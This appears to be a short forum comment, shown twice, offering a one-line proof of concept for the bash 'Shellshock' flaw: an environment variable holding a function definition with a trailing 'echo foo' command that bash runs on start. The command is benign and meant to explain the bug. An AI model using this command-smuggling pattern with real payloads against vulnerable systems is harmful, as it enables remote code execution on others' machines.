3 ms·
Here is a very simple proof of concept that helped me understand the vulnerability: bash-3.2$ anyvariable='() { true; }; echo foo' bash foo
by snissn 12y ago
Here is a very simple proof of concept that helped me understand the vulnerability:
bash-3.2$ anyvariable='() { true; }; echo foo' bash
foo